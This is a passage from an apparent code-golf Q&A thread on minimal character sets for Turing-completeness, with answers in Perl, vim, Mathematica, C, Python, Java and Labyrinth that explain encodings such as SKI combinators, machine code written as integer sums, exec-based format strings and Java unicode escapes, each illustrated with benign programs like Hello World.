s<v\H\H\H><*b^<^B[MMH^V^SY>>eee; s<^><99-9/9-9/9>e; s<^><v>; s<v\H\H><*b^<^B[MMH^V^SY>>eee; s<^><999/9-9/-9-9/-9-9/-9-9/-9>e; s<^><v>; s<v\H\H\H><*b^<^B[MMH^V^SY>>eee; s<\H*><*b^<^B[MMH^V^SY>>eee; >eee; ``` Finally, we convert the above program to only `<>^es`: [pastebin](https://pastebin.com/raw/2RSegUrs). Sadly, this crashes Perl with `Excessively long <> operator`, but that’s just a technical limitation and shouldn’t be taken into account. Phew, that was quite the journey. It’d be really interesting to see someone come up with a set of 5 characters that makes things simpler. EDIT: by using a slightly different approach, we can avoid hitting the length limit on `<>`. Fully functional brainfuck interpreter using only `<>^es`: [Try it online!](https://tio.run/##7VvNbtswDL77LXb2vNtuBF/EiG4CNqDYhrLvn5GUbKuJI9GJCsSKXSdW9MsffRRFuf/8@9vP85kAAQgAnfPgkDw/CPn23gE57xDRgSdOek@eU544g2/ymoNeyiUllwtf3JmmJB@n1HLRVDNe7jrlkidqghA9AP9wazQjyU3zJ0c@t@HbzZ8MJ5GV5S/DFH36uZ2/Na4AlZ/IDa5yg6B8RC7cGhfOFal/hGrnhAihgknx@iSWvNNKS5VYQR58SbEw4pZKBZ0W5HCh1bxELvWak42ni9/3S@lRETQyrZWrsjLLCiworSIIIxI5UQZjRCQniqCckOnK4KTqpqXESYn6LMUVZwrdjYGtONhoCO5bxohlx5zO3zjnuiXT3a6VaXW76q11frkLkNRFf7nz8JxEG@/S2iNGJnzf7RtYxLc@wZaZVYJEOqsK8EhnVB4qXwUbi4k1GNmc7ojqGloFuwHfZUgXVjSiqhSbjBJYTJEzLMaV5b1z54KJEfhzIgtvK7SNsLZBuu4qaIeHGSQ2qNQFzAZ/3u7MWxfwCr4skweIsfNAgDjziPvew7WlKJRZf8PnKYEoODeF@EYBOL4eZC5ctHJgZnHQijGaZdHJMDNbgJpc4eyjGLARPZUyQpL9VIafT658RR2ZwmZoiZ0V/IDKftf1PmDLPItTzT7bpgnnNuwJHlmCXOAFSYMv4i/EQAwXSwwGp/qvtUFogauKqt2rM0LKr1dWkzjizYKXF9mrRPcaWl7ze57sPue22A87mpgR7@PZhLjOcWsDSgnmjiYMQYNyrKAE@S/xc5rypFs0YPuIYD64mqaqyyMpVVwWUKnazEo7QgY11NnQeUo2Wjw5F7Z48eRgmCLG8@w1xIyp5oaoed215rYfrxAcrxBsm/u7PwLa5Ylue3anVY4Ky7nl3NdM/1O9Z7iz6L1LeAxMKrMbZXDEAY84f6tx/u1R8a2H@rszGYnhpFXD@VLv05tt1@yG2wyY2/Q6KVUyZTJXEQ@/8fmPmVqbeY3ste78z4wGQyrHgc5zHOg8f1hlu@CtUreI/CF5Pxzl39kbhDt4r149mHDirD0rccH2Lq9yevV1cFKc/m8HqkM/OSg4NfP@fO7H7/04jNhjDzCccIQeh1OP2MdrhCFenA/DCCPX4mKuyFUljxuDPKDvsYslQ1IinZ6AG3FLABhHLQkjypBcHHpaGbQLo4YSGSFcmimdSB9CvHY9ky89gnZ62bCTUq0LU7XAT0gPkmKKAUKzZcDQ6IrsDhNpRaqv5TRcyWlFgCqm7kJO64JiHpMrN1SXGWsZCiDtj7uQsftUBIF/0a92sSIcJuEEU7MrZfVc@GMMouJxlTf@6769//34@PX7/cP7P/8B "Perl 5 – Try It Online"). Automated Perl to `<>^es` transpiler: [pastebin](https://pastebin.com/escABn3m). [Answer] ## vim, ~~9~~ ~~8~~ ~~7~~ 6 characters ``` <C-v><esc>1@ad ``` We can build and execute an arbitrary vimscript program as follows: 1. Use the sequence `aa<C-v><C-v>1<esc>dd@1<esc>dddd` to obtain a `<C-a>` in register `1`. 2. Enter insert mode with `a`, then insert an `a`, which will be used to re-enter insert mode in a macro later. 3. For each character in the desired vimscript program, 1. use `<C-v><C-v>1<esc>` to insert the literal sequence `<C-v>1`, 2. use `@1` (which is `<C-a><cr>`, in which the final `<cr>` is a no-op due to being on the last line) as many times as necessary to increment the `1` until the ASCII value of the desired character is reached, 3. and re-enter insert mode with `a`. 4. Delete the line (along with a trailing newline) into the `1` register with `<esc>dd`. 5. Execute the result as vim keystrokes by using `@1`, then `<esc>dd` to delete the line entered by the trailing newline from the previous step. 6. Run the resulting arbitrary sequence of bytes with `dd@1`. If it begins with a `:`, it will be interpreted as vimscript code, and it will be run due to the trailing newline from `dd`. I'm not convinced this is a minimal character set, but it's quite easy to prove to be Turing-complete. [Answer] ## Mathematica, ~~5~~ 4 characters ``` I[] ``` `` is a [private-use Unicode character](http://reference.wolfram.com/language/ref/character/Function.html), which acts as an operator for `Function` that lets you write literals for unnamed functions with named arguments. The character looks a lot like `↦` in Mathematica, so I'll be using that one for the rest of this answer for clarity. Using these, we can implement the [`S`, `K` and `I` combinators](https://en.wikipedia.org/wiki/SKI_combinator_calculus) of combinatory logic: ``` I -> II↦II K -> II↦III↦II S -> II↦III↦IIII↦II[IIII][III[IIII]] ``` One syntactic issue with these is that `↦` has very low precedence which will be a problem if we try to pass arguments to these combinators. You would normally fix that by wrapping a combinator `C` in parentheses like `(C)`, but we don't have parentheses. However, we can use `I` and `[]` to wrap `C` in some other magic that has sufficiently high precedence that we can use it later on: ``` I[C][[I[[]]I]] ``` Finally, to write an application `A x y z` (where `A` is a combinator "parenthesised" as shown above, and `x`,`y`,`z` may or may not be parenthesised, or may be bigger expressions), we can write: ``` A[x][y][z] ``` That leaves the question of how the parenthesis-equivalent actually works. I'll try to explain it roughly in the order I came up with it. So the thing we have syntactically to group something is the brackets `[]`. Brackets appear in two ways in Mathematica. Either as function invocations `f[x]`, or as an indexing operator `f[[i]]` (which is really just shorthand for `Part[f, i]`). In particular that means that neither `[C]` nor `[[C]]` is valid syntax. We need something in front of it. That can in theory be anything. If we use the `I` we already have we can get `I[C]` for instance. This remains unevaluated, because `I` isn't a unary function (it's not a function at all). But now we need some way to extract `C` again, because otherwise it won't actually be evaluated when we try to pass an argument `x` to it. This is where it comes in handy that `f[[i]]` can be used for arbitrary expressions `f`, not just lists. Assuming that `f` itself is of the form `head[val1,...,valn]`, then `f[[0]]` gives `head`, `f[[1]]` gives `val1`, `f[[-1]]` gives `valn` and so on. So we need to get either `1` or `-1` to extract the `C` again, because either `I[C][[1]]` or `I[C][[-1]]` evaluates to `C`. We *can* get `1` from an arbitrary undefined symbol like `x`, but to do that, we'd need another character for division (`x/x` gives `1` for undefined `x`). Multiplication is the only arithmetic operation which we can perform without any additional characters (in principle), so we need some value that can be multiplied up to give `-1` or `1`. This ends up being the reason why I've specifically chosen `I` for our identifiers. Because `I` by itself is Mathematica's built-in symbol for the imaginary unit. But that leaves one final problem: how do we *actually* multiply `I` by itself? We can't just write `II` because that gets parsed as a single symbol. We need to separate these tokens without a) changing their value and b) using any new characters. The final bit of a magic is a piece of undocumented behaviour: `f[[]]` (or equivalently `Part[f]`) is valid syntax and returns `f` itself. So instead of multiplying `I` by `I`, we multiply `I[[]]` by `I`. Inserting the brackets causes Mathematica to look for a new token afterwards, and `I[[]]I` evaluates to `-1` as required. And that's how we end up with `I[C][[I[[]]I]]`. Note that we couldn't have use `I[]`. This is an argumentless invocation of the function `I`, but as I said before `I` isn't a function, so this will remain unevaluated. [Answer] # C (unportable), ~~24 18~~ 13 characters ``` +,1;=aimn[]{} ``` This covers all programs of the form ``` main[]={<sequence of constants>}; ``` ...where the sequence of constants (of the form 1...+1...+1...) contains the machine code representation of your program. This assumes that your environment permits all memory segments to be executed (apparently true for tcc [thanks @Dennis!] and some machines without NX bit). Otherwise, for Linux and OSX you may have to prepend the keyword `const` and for Windows you may have to add a `#pragma` explicitly marking the segment as executable. As an example, the following program written in the above style prints `Hello, World!` on Linux and OSX on x86 and x86\_64. ``` main[]={11111111111111+1111111111111+111111111111+111111111111+111111111111+111111111111+111111111111+11111+1111+1111+1111+1111+1111+111+111+1,1111111111111111+1111111111111111+11111111111+1111111111+11111111+11111111+111111+1111+111+111+11+11+1+1+1+1,111111111111111+11111111111+1111111111+1111111111+1111111111+1111111+1111111+111111+111111+111111+111111+1111+1111+1111+111+111+111+111+11+11+1,111111111111111111+11111111111111111+111111111111+111111111111+111111111+111111+111111+111111+111111+1111+111+11+11+11+11+11+11+11+11+11+1+1+1+1,11111111111111111+111111111111+111111111+111111111+111111111+111111111+11111111+11111111+11111+1111+1111+11+11+11+1+1+1+1,111111111111111111+11111111111111+1111111111111+1111111111111+111111111111+111111111111+11111111111+111111+111111+111111+111111+1111+11+11+11+1+1+1+1+1,11111111111111+1111111111+1111111111+1111111111+1111111111+111111111+1111111+1111111+111111+111111+111111+1111+1111+1111+1111+1111+1111+111+111+111+111+111+11+1+1+1,111111111111+111111111111+11111111111+11111111111+11111111111+11111111111+1111111111+1111111+1111111+1111111+11111+11111+11111+111+11+11,111111111111111+11111111111111+1111111111+111111111+111111111+111111111+1111111+111111+111111+11111+11111+11111+11111+11111+1111+1,1111111111111+1111111111111+1111111111+111111111+11111111+111111+111111+111111+111111+111111+111111+111111+11111+111+111+111+11+11+11+11+11+1+1,111111111111111111+11111111111111+11111111111+11111111111+1111111111+1111111111+1111111111+111111111+11111111+1111111+111111+111111+1111+1111+1+1,1111111111111111+111111111111+11111111111+11111111111+11111111+111111+111111+111111+111111+111111+1111+1111+1111+1111+1111+111+111+111+111+111+111+11+11+11+11+1+1+1+1,111111111111111111+11111111111111111+1111111111111111+11111111111+111111111+11111111+1111111+1111111+111111+11111+1111+111+111+111+11+1+1+1+1+1+1+1+1+1,11111111111111111+11111111111111111+11111111111111111+11111111111111+1111111111111+11111111111+11111111111+1111111+1111+1111+1111+1111+1111+1111+1+1+1+1+1,111111111111111111+111111111111+11111111111+111111111+111111+1111+1111+1111+11+11+11+1+1+1+1+1+1+1+1+1,11111111111+11111111111+11111111111+1111111111+111111+11111+11111+11111+11111+1111+1111+1111+1111+1111+1111+1111+111+111+1+1,1111111111111111+1111111111111111+11111111111111+1111111111111+111111111+111111111+11111111+1111111+111111+11111+11111+11111+11111+111+111+11+11+11,11111111111111111+11111111111111111+1111111111111+111111111+111111111+11111111+111111+111111+111111+111111+111111+111111+11111+111+111+111+11+11+11+11+11+1,111111111+11111+11111+111+1}; ``` [Try it online!](https://tio.run/##rVbLDoIwEPygKYeejV9iPJAGifFxwYPR@OvWAyRK2e5OizzaLSHsdDo7NDR9CDFe2uN1t98@/exAflQ/gNaMt/NeA5I8gBCmQZJgvMbTFX5aDCGkEztpunNUi8kL06cYp7BAu2SCrIRWBEUPVuaUCqzWK8PSHNUCF6pCXjpExSQyWoAEoXAmhtqn7cibo5eQE5BElNqmC4aC/KjrpML@kVGZsOFXCUwjbmosyzXRoMr@VBWTXmSZYx4@qEqEzxUY8o7AweLNTIota2Apg/nzgOaFUhpevEbdcrIp3TAoVLPVk/W7L0XlksA/jUh1ICftyaZXX5sY3@FwbvshNo/u3oXh1obTBw "C (gcc) – Try It Online") # C (gcc) (unportable), ~~24 18 13~~ 8 characters ``` +1;=aimn ``` It is possible to build any program using fewer than 13 distinct characters by abusing the linker and laying out the machine code in such a way that it spans several scalar variables. This technique is much more sensitive to toolchain particulars. The following is the above program converted to this format for gcc ``` main=11111111111111+1111111111111+111111111111+111111111111+111111111111+111111111111+111111111111+11111+1111+1111+1111+1111+1111+111+111+1;mainn=1111111111111111+1111111111111111+11111111111+1111111111+11111111+11111111+111111+1111+111+111+11+11+1+1+1+1;mainnn=111111111111111+11111111111+1111111111+1111111111+1111111111+1111111+1111111+111111+111111+111111+111111+1111+1111+1111+111+111+111+111+11+11+1;mainnnn=111111111111111111+11111111111111111+111111111111+111111111111+111111111+111111+111111+111111+111111+1111+111+11+11+11+11+11+11+11+11+11+1+1+1+1;mainnnnn=11111111111111111+111111111111+111111111+111111111+111111111+111111111+11111111+11111111+11111+1111+1111+11+11+11+1+1+1+1;mainnnnnn=111111111111111111+11111111111111+1111111111111+1111111111111+111111111111+111111111111+11111111111+111111+111111+111111+111111+1111+11+11+11+1+1+1+1+1;mainnnnnnn=11111111111111+1111111111+1111111111+1111111111+1111111111+111111111+1111111+1111111+111111+111111+111111+1111+1111+1111+1111+1111+1111+111+111+111+111+111+11+1+1+1;mainnnnnnnn=111111111111+111111111111+11111111111+11111111111+11111111111+11111111111+1111111111+1111111+1111111+1111111+11111+11111+11111+111+11+11;mainnnnnnnnn=111111111111111+11111111111111+1111111111+111111111+111111111+111111111+1111111+111111+111111+11111+11111+11111+11111+11111+1111+1;mainnnnnnnnnn=1111111111111+1111111111111+1111111111+111111111+11111111+111111+111111+111111+111111+111111+111111+111111+11111+111+111+111+11+11+11+11+11+1+1;mainnnnnnnnnnn=111111111111111111+11111111111111+11111111111+11111111111+1111111111+1111111111+1111111111+111111111+11111111+1111111+111111+111111+1111+1111+1+1;mainnnnnnnnnnnn=1111111111111111+111111111111+11111111111+11111111111+11111111+111111+111111+111111+111111+111111+1111+1111+1111+1111+1111+111+111+111+111+111+111+11+11+11+11+1+1+1+1;mainnnnnnnnnnnnn=111111111111111111+11111111111111111+1111111111111111+11111111111+111111111+11111111+1111111+1111111+111111+11111+1111+111+111+111+11+1+1+1+1+1+1+1+1+1;mainnnnnnnnnnnnnn=11111111111111111+11111111111111111+11111111111111111+11111111111111+1111111111111+11111111111+11111111111+1111111+1111+1111+1111+1111+1111+1111+1+1+1+1+1;mainnnnnnnnnnnnnnn=111111111111111111+111111111111+11111111111+111111111+111111+1111+1111+1111+11+11+11+1+1+1+1+1+1+1+1+1;mainnnnnnnnnnnnnnnn=11111111111+11111111111+11111111111+1111111111+111111+11111+11111+11111+11111+1111+1111+1111+1111+1111+1111+1111+111+111+1+1;mainnnnnnnnnnnnnnnnn=1111111111111111+1111111111111111+11111111111111+1111111111111+111111111+111111111+11111111+1111111+111111+11111+11111+11111+11111+111+111+11+11+11;mainnnnnnnnnnnnnnnnnn=11111111111111111+11111111111111111+1111111111111+111111111+111111111+11111111+111111+111111+111111+111111+111111+111111+11111+111+111+111+11+11+11+11+11+1;mainnnnnnnnnnnnnnnnnnn=111111111+11111+11111+111+1; ``` [Try it online!](https://tio.run/##rZbdDoIwDIUf6IQLrokPQxYkxp8bTDQ@vDNmJK6la7uh4la46ceh52Do5hBivI6n26EnH5TP2k@gLek3fFk4DMdhFyCUvGBt0pG@qeWmp9VBLCF0FTfp3incirXVQlDD9RhcTNAOopdEpne2KijTUkBwqIPdc@0RjvLlhIqzKkr/gDlMxoaN8VJgODzhqaHufE1y5lCqPy3VFCWhYbBRJDwMCBU0aNuklMgGj9JVOgP9rrHUVF2XDaCR8iYdmqJW9YKed35l/W8suAyOvuRbyJlTJEX9FVQNjZVBZVhTV5ivNWiRrHQmrf22MOLCN4AyUOVfIOUxec1aDOKfliJow5Dhn@GopqJMnCFv73eI8R2Ol3FeYveanlNY7mM4x@7xAQ "C (gcc) – Try It Online") It is possible to represent any program with 5 distinct characters `+1;=a` by [replacing `main` with a shorter entry point.](https://codegolf.stackexchange.com/questions/201650/hello-ascii-world/201711#201711) Thanks to @Bubbler for 8 -> 5 Edit: More compact encoding in example programs. [Answer] # Python 2, 8 characters ``` exc'%~-0 ``` These characters allow the translation/execution of any Python program using format strings and `exec`. Though being able to translate any program isn't required for Turing-completeness, this is the fewest characters I know that make it TC anyway. That it's so powerful is just a bonus. A double quotation mark as well as any single digit besides zero could also be used. (Now that I think about it, `1` would definitely be better, resulting in shorter programs, since you could use `1`, `11`, and `111`, as well.) Here is the program `print`: ``` exec'%c%%c%%%%c%%%%%%%%c%%%%%%%%%%%%%%%%c'%-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~0%-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~0%-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~0%-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~0%-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~0 ``` [Try it online](https://tio.run/nexus/python2#@59akZqsrpqsCkJQAoUBF1BX1a0b3tBg2PtwuPpyeMfcyEiXYJ/@/w8A) The base program requires ``` exec'' ``` Each character `x` added to the program requires (char - count): * `%` - `2**(n-1)` * `c` - `1` * `-` - `ord(x)*2` * `~` - `ord(x)*2` * `0` - `1` The exception to this is that certain optimizations/shortcuts could be taken to make the encoded program shorter, such as using `%'0'` for the character `0` instead of 48 `-~`, etc. Practical uses (AKA golfing): I used this tactic to solve [this challenge](https://codegolf.stackexchange.com/a/110141/34718) without using an additional handicap character. Credit for the character list and an encoder program: [here](https://codegolf.stackexchange.com/a/11697/34718) For information on finding a lower bound on the resulting program size (without optimizations), see [this comment](https://codegolf.stackexchange.com/questions/11690/encode-a-program-with-the-fewest-distinct-characters-possible/11697#comment237208_11697). The number of bytes required goes up `O(2**n)`, so this method is not recommended for golfing. A quine using this source restriction would be insanely long. [Answer] ## Java (5 or later), 15 characters ``` 02367?\abcdeitu ``` We've had a few previous answers in Java. The basic approach in all of them is to a) identify a minimal Turing-complete subset of the language, and b) find a minimal way to express the constructs of that language in Java's syntax. ### Hexagraph notation Let's look at b) first. As explained in [@Poke's answer above](https://codegolf.stackexchange.com/a/110789), Java has a hexagraph syntax (analogous to C's trigraph syntax) to allow arbitrary characters that might not exist in your character set to be included in your program. For example, a newline could be written as a literal newline, but it could also be written as the hexagraph `\u000a`; the hexagraph consists of `\u` followed by four hexadecimal digits, specifying the character's Unicode codepoint. Unlike C's trigraphs, which can only be used for a few awkward characters, a Java hexagraph can be used for absolutely any Basic Multilingual Plane character we might happen to need (including printable ASCII characters). The previous records, 17 by @Poke, and 16 by @Poke and me, were based on taking relatively normal-looking Java programs and simply trying to hexagraph every character in them: your character set is then based on which nybbles occur in the codepoints you're using. If a nybble occurs in two different codepoints, it typically saves character set entries to include that nybble in the character set, so you can construct the codepoint with it. One minor improvement for this entry is that if a nybble only occurs in a single codepoint, we may as well include that codepoint in our character set directly: the resulting programs will end up slightly shorter. Of the 16 nybbles, this entry manages to omit 2 entirely: `5`, and `8`. `4`, `9`, and `f` are also omitted; each is only needed to write a single character (`t` = U+0074, `i` = U+0069, and `?` = U+003F respectively), and including that character directly leads to shorter and "more readable" programs. One final saving is available from `a`/`1`: we don't need `a` as a nybble to write any character, we do need to be able to produce U+0061, `a`'s codepoint, but we don't need `1` for any other codepoint. So `a` and `1` are redundant with each other: we need at least one of them, but don't need both; and omitting `a`/`1`, `5`, and `8` from our base set of 18 characters `\u0123456789abcdef` gives us our final character set. Of course, this means that we have to avoid many more missing characters than in the other entries. In particular, we can no longer create the boilerplate for a `main` method (which must have a parameter of type `String`; `S` = U+0053 contains the forbidden nybble `5`). So we're going to need a radically different way of running a Java program. ### Java as an interpreter Java is normally a compiled language; a typical workflow is to use the compiler `javac` to compile your Java source files into one or more `.class` files, and then the JVM `java` to run those source files, and take the output of `java` as the output of the program. None of your code actually runs at compile time, so the output of `javac` is typically regarded as uninteresting. Nonetheless, `javac` does contain some nontrivial functionality; Java is, after all, a fairly complex language. We can take a single Boolean of output from the compiler `javac` by checking to see if there are compile errors, looking at its exit code: if the program has errors, that will produce a different output from if the program doesn't have errors. Of course, Java being a compiled language, an erroring program might not seem particularly useful from a Turing-completeness point of view: if it has errors, it won't actually run, so how could it be Turing-complete? However, it turns out that type-checking Java programs is in of itself a Turing-complete operation; all we need to be able to do is to be able to compile programs from some Turing-complete language into Java's type system, in such a way that, in order to determine whether the resulting program is valid Java or not, the type-checker will have no choice but to run the program we compiled. ### The Subtyping Machine [The Subtyping Machine](https://esolangs.org/wiki/The_Subtyping_Machine) is an esoteric programming language that was "back-derived" (by Radu Grigore in 2017) from Java's type system, looking at the algorithm that Java actually uses to determine whether an expression has the correct type or not. Here's an example I wrote of what this sort of program looks like: ``` interface xx {} interface A<x> {} interface B<x> {} interface d<x> extends A<s<? super X<? super B<? super s<? super X<? super d<x>>>>>>>, B<x>, xx {} interface X<x> extends xx {} interface s<x> extends xx {} class x { d<? super X<? super d<? super X<? super d<? super X<? super s<xx>>>>>>> xc; A<? super s<? super X<? super d<xx>>>> xd = xc; } ``` The bulk of the program is basically just a lot of interfaces extending each other with contravariant generic type parameters. If you have `A<x> extends B<…<? super x>>`, and you're trying to see whether an expression starting `A<…>` can be stored in a variable of type `B<…>`, what ends up happening is that the first type ends up getting potentially much more complicated as the generic parameter is expanded, and then the resulted `B<…>` wrappers cancel, but (because the types are contravariant) the two parameters basically swap roles within the type-checking algorithm. The result is a type-checking problem that could potentially be more complex than the problem we started with; the operation effectively boils down to popping two stacks and then pushing onto one of them based on the value popped. You have to push onto the two stacks alternately, but that isn't a major issue, so we effectively end up with a two-stack machine, and two stacks are enough for Turing-completeness. Full details of how the language operates are in the link at the start of this section. ### Minimizing the character set of The Subtyping Machine Now that we have a Turing-complete operation that can be run by `java`, thus avoiding the need for the `public static void main(String[] a)` boilerplate that's required for the benefit of `javac` (but not `java`), the final step is to reduce its character set as far as possible. There are some characters that are absolutely necessary. To use this technique, we need to be able to declare interfaces (`interface … {}`) and contravariant type parameters (`<? super …>`), which already ties up many of our nybbles. The main problem I encountered in this solution was in trying to avoid the nybble `8`, most notably used by `(` = U+002**8** and `x` = U+007**8**. (`1`/`a` end up not being used for anything important, e.g. they're merged in @Poke's answer just as they are here; and `5` turns out to be used only for `e`=U+006**5** and `u`=U+007**5**, but fortunately both those characters are needed for other reasons, `e` as nybble and `u` because it's part of the `\u` hexagraph introducer, so we never need to write them as hexagraphs. Unlike in the previous record-holder, `c` is unavoidable because we need it for `<`=U+003**c**, pretty much unavoidable for any type-system-based approach.) Avoiding parentheses is a little annoying, but not that hard; in fact, I did it in the example program above. The reason they'd be helpful is that once we declare a bunch of interfaces extending each other, we actually need to cause the type checker to type-check something; Radu Grigore's original program did this by defining a function. The approach I used above works by defining two variables and assigning one to the other, which will also force the type-checker to be involved; fortunately, neither `=`=U+003d nor `;`=U+003b uses a forbidden nybble. Avoiding `x` is harder; despite being pretty rare as letters go, it's needed to spell `extends`, the keyword Java normally uses to introduce a subtyping relationship. That might at first seem impossible to avoid, but we do have an alternative; when a class extends an interface, Java uses the keyword `implements` instead, which despite being longer doesn't contain any problematic characters. So as long as we can divide our program into classes and interfaces, with the only hardcoded subtyping relationships being between a class and an interface, we can make the program work. (We also have to use the `class` keyword, but that contains only letters we already have: `interf**ac**e imp**l**ement**s**`.) There are several possible approaches that work, but one simple approach is to ensure that classes and interfaces always alternate within the two types being compared; that means that at any point in time, we're always comparing a class with an interface (and because we unwrap both stacks one level at a time and the direction of a comparison is reversed with every step, we're always checking to see whether a class implements an interface rather than the other way round, which is impossible in Java). My [compiler from The Subtyping Machine to compile-time Java](http://nethack4.org/esolangs/stmachine.pl) proves the Turing-completeness of this 15-character subset of Java by being capable of compiling to it; use the `-jj` option and it'll output in this subset, rather than in more readable Java (by doing things like choosing a `class`/`interface` split that avoids the use of the `extends` keyword – in a marginally more sophisticated way than is described above – and changing variable names to only use the letters that exist in the character set, and of course hexagraphing any character that needs to be). I was hoping to produce a more complex example, but I've spent enough time on this as it is, so I thought I may as well post it. After all, it shaves one character off the best known character set via ridiculous means, and isn't that what this question is all about? [Answer] # Python 3, 8 characters **Now we can write python in only 8 characters!** Previous works have found that any python codes can be reduced into 9 characters. Such as: [exc('%1+)](https://codegolf.stackexchange.com/questions/110648/fewest-distinct-characters-for-turing-completeness/110677#110677) and [exchr(+1)](https://github.com/satoki/PyFuck). Their core ideas are both using `exec()` to execute a python string. Then use python formatting `'%c'%(number)` to build other characters. Finally generate arbitrary number by some arithmetic, e.g. `+1+1` here. ## Execute Python in 8 characters: `exc('%0)` Basically, we can continue the previous ideas of `exec()` and formatting by `'%c'`. However, previous works were trapped by generating arbitrary number. As they have to include new characters but not make full use of existing characters. How to build numbers? Remember that hex number is also number. There already have existing number character(`ce` in hex) and arithmetic characters(`%`). Thus, we can include only character `0` to build hex numbers such as `0xEECC00`(capitalization for visual purpose). With all the numbers of `0xXXXX` where X refer to '0CE' we can get numbers by modulo operation such as: ``` 0xC0C0E % 0xEC = 98 0xEC % 0xC0 = 44 ``` Can we build arbitrary number through this method? No. It can be easily proved that '0CE' are all even numbers. Modulo with even numbers can only get even numbers. And unfortunately, All decimal odd numbers, '1', '3', '5', '7', '9' have odd ASCII codes. Is there no hope? Remember that hex number is also number again! Coincidentally, hex odd numbers, 'b'=98, 'd'=100, 'f'=102 have even ASCII codes. Now everything is clear. First, we can use 0xCE to generate even numbers. It is hard to prove that we can get any big number by `0xCE%`, but I have enumerate all even numbers from 2-128, which is enough for us. Then we can use `'%c'%(0xC0C0E % 0xEC)` to get 'b'. And get arbitrary number by '0xBCE'. Finally, build arbitrary string and execute! github: <https://github.com/kuangkzh/PyFuck> [Answer] # Java 7, ~~18~~ 17 characters `\bcdefu0123456789` All java source code can be reduced to unicode code points. "a" is not needed since it's only used for `*:jJzZ`. Asterisk is used for multiplication or block comments. Multiplication is just repeated addition and you can use single line comments instead (or just omit them). The colon is used for ternary operators, which you can use an if statement for instead, and foreach loops, which can be replaced with normal for loops. j and z aren't a part of any keywords in java. Attempting to remove any other character requires us to add at least one of the characters required in Java boiler plate `class a{public static void main(String[]a){}}`. See below: ``` 1 -> a (which has already been removed) 2 -> r (required for "String") 3 -> S (required for "String") 4 -> t (required for "static") 5 -> S (required for "String") 6 -> v (required for "void") 7 -> g (required for "String") 8 -> ( (required for "main(String[]a)" 9 -> i (required for "static") b -> { (required for "class a{") c -> l (required for "class") d -> } (required for "(String[]a){}}") e -> n (required for "main") f -> o (required for "void") ``` Here's an example with a Hello World program [Try it online!](https://tio.run/nexus/java-openjdk#dZFRDsQgCESvZBGk3qVfa9sb7PndOJBA2uzP@4BxBnAe31JaBQe4LWoNUllkq39AVFSgp/S2h5u9ch9OzvxH2VC5U5ej285w8O6F7r4oKUXpqWkKDSaX5EM9NnKH/ppZIp2umNB2N43V/SavdPcZz5kJSt5Tyki8Y3fRlJuvzeFju1T7ndM45w8 "Java (OpenJDK 8) – TIO Nexus") # Java 8, 16 characters `\bdefu0123456789` Thanks to ais523 for pointing this out. Java 8 allows interfaces to have static methods which means we can drop "c" because we don't need it for the "l" in "class". "c" is used for `,<lL\|` so we do end up losing a bit more java functionality than when we removed "a" but we still have enough to be turing complete. [Try it online!](https://tio.run/nexus/java-openjdk#bVBBDoAgDPsSDMbgL56M@gPfj7Ej6RK9NA3r2rK53Sm1ATxftAqu4ALegBlYOJXEd9uBJTjkwAd3fcvc8wrTGjyPkBi6SX9RQ8pqGDTNoEEfDT4y2HM5jE9nZbqcbGhKjb9b@k9fPo1tBZraqfQ/qiv759p@28xdb178wofjnA8 "Java (OpenJDK 8) – TIO Nexus") [Answer] ## [Labyrinth](https://github.com/m-ender/labyrinth), 5 characters ``` ~{} ``` Plus linefeeds (0x0A) and spaces (0x20). I'm going to sketch a proof in the form of a reduction from [Smallfuck](http://esolangs.org/wiki/Smallfuck) (a reduced Brainfuck-variant that uses 1-bit cells). Note that Smallfuck itself is not Turing-complete because the language specifies that its tape has to be finite, but we're going to assume a variant of Smallfuck with an infinite tape, which would then be Turing-complete (as Labyrinth has no memory restrictions by design). An important invariant throughout this reduction will be that every program (or subprogram) will result in a Labyrinth program (or subprogram) that starts and ends on the same row, and spans an even number of columns. Labyrinth has two stacks which are initially filled with an infinite (implicit) amount of `0`s. `{` and `}` shift the top value between these stacks. If we consider the top of the main stack to be the current "cell", then these two stacks can be seen as the two semi-infinite halves of the infinite tape used by Smallfuck. However, it will be more convenient to have two copies of each tape value on the stacks, to ensure the invariant mentioned above. Therefore `<` and `>` will be translated to `{{` and `}}`, respectively (you could swap them if you like). Instead of allowing the cell values `0` and `1`, we're using `0` and `-1`, which we can toggle between with `~` (bitwise negation). The exact values don't matter for the purposes of Turing-completeness. We have to change both copies of the value on the stack, which gives us an even-length translation again: `*` becomes `~}~{`. That leaves the control flow commands `[]`. 